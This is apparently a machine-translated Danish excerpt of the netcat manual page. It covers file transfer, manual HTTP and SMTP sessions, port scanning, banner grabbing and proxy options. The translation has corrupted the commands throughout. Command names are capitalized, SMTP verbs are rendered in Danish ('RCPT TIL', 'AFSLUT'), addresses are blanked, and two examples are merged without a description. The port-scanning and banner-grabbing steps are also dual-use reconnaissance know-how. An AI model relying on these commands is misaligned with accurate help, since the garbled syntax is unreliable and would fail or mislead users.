(shell-prompt fra host.example.com)
Start med at bruge nc for at lytte på en bestemt port, med output indfanget i en fil:
Nc -l 1234 > filnavn.ud
Brug en anden maskine til at oprette forbindelse til lytteren nc proces, fodrer den med den fil, der skal overføres:
Nc host.example.com 1234< filename.in
Når filen er overført, lukkes forbindelsen automatisk.
Taler med servere
Det er nogle gange nyttigt at tale med servere "i hånden" i stedet for gennem en brugergrænseflade. Det kan hjælpe med fejlfinding, når det kan være nødvendigt at verificere, hvilke data en server sender som svar på kommandoer udstedt af klienten. For eksempel for at hente hjemmesiden for et websted:
Printf "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80
Bemærk, at dette også viser de overskrifter, der sendes af webserveren. De kan filtreres, ved hjælp af et værktøj som f.eks sed, Hvis det er nødvendigt.
Mere komplicerede eksempler kan opbygges, når brugeren kender formatet på anmodninger, som serveren kræver. Som et andet eksempel kan en e-mail sendes til en SMTP-server ved hjælp af:
Nc [-C] localhost 25<< EOF HELO host.example.com MAIL FROM:< >RCPT TIL:< >DATA Brødtekst af e-mail. . AFSLUT EOF
Port scanning
Det kan være nyttigt at vide, hvilke porte der er åbne og kører tjenester på en målmaskine. Det -z flag kan bruges til at fortælle nc at rapportere åbne porte i stedet for at starte en forbindelse. Normalt er det nyttigt at slå verbose output til til stderr ved at bruge denne mulighed i forbindelse med -v mulighed.
Nc -zv host.example.com 20-30 Forbindelse til host.example.com 22-port lykkedes! Forbindelse til host.example.com 25-port lykkedes!
Portområdet blev specificeret for at begrænse søgningen til porte 20 - 30 , og scannes i stigende rækkefølge.
Du kan også angive en liste over porte, der skal scannes, for eksempel:
Nc -zv host.example.com 80 20 22 nc: opret forbindelse til host.example.com 80 (tcp) mislykkedes: Forbindelse afvist nc: opret forbindelse til host.example.com 20 (tcp) mislykkedes: Forbindelse afvist Forbindelse til host.example .com-porten lykkedes!
Portene scannes i den rækkefølge, du har givet.
Alternativt kan det være nyttigt at vide, hvilken serversoftware der kører, og hvilke versioner. Disse oplysninger er ofte indeholdt i velkomstbannerne. For at hente disse er det nødvendigt først at oprette en forbindelse, og derefter afbryde forbindelsen, når banneret blev hentet. Dette kan opnås ved at angive en lille timeout med -w flag, eller måske ved at udstede en "QUIT"-kommando til serveren:
Ekko "QUIT" | nc host.example.com 20-30 SSH-1.99-OpenSSH_3.6.1p2 Protokol uoverensstemmelse. 220 host.example.com IMS SMTP-modtager version 0.84 klar
Eksempler
nc -p 31337 -w 5 host.example.com 42Åbner en TCP-forbindelse til port 42 af host.example.com bruger port 31337 som kildeport, med en timeout på 5 sekunder.
Nc -u host.example.com 53 nc -x10.2.3.4:8080 -Xconnect -Pruser host.example.com 42
Det samme som ovenstående eksempel, men denne gang aktiverer proxy-godkendelse med brugernavn " ruser" hvis proxyen kræver det.
Relaterede kommandoer
ifconfig— Se eller rediger konfigurationen af netværksgrænseflader.